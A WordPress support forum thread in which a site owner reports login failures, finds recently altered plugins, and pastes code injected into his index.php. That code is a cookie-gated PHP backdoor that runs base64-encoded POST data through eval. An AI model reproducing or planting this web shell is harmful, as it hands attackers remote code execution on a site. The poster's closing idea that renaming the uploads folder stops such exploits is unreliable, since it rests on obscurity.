I had similar problem twice recently. The only difference was that instead of going back to same page my logon page would hang for minutes and then timeout.
Turned out that this was due to corrupt plugins. I had to goto my hosting control panel and then goto /wp-content/plugins. There I saw that some plugin files/folders had changed recently. I deleted those plugins one by one and then re-tried login. Finally it started working.
I am not sure why this happens. Maybe the plugin tries to do auto-update and gets corrupted, although auto-update is not enabled.
Kind regards
Khalid
Another thing.
While looking at blog files, I noticed that index.php had been modified recently on my blogs that had the logon issue. I could see following extra code in there that I had not seen before:
<?php if(md5($_COOKIE[‘9dd4c670373e0a5d’])==”03d6f1e62bba8efe0f71093d258a3c2a”){ eval(base64_decode($_POST[‘file’])); exit; } ?>
Does anyone know what this code does? Did someone try to hack my blog but succeeded only partially?
Khalid
@khalidmsyed – That code should not be there. You might want to have a look at the following threads. Lots of good info.
http://wordpress.org/search/hacked?forums=1
Ok, thanks for that.
I have read that thread and found some things on my blog that needed fixing.
One of the exploits mentioned was that the hacker uploads an executable to /uploads folder and then tries to execute it. This exploit works because /uploads is a default and well-known location. If I let’s say change the upload location to /uploadsxyz then the exploit won’t work because the hacker would be trying to run the executable from wrong folder. Right?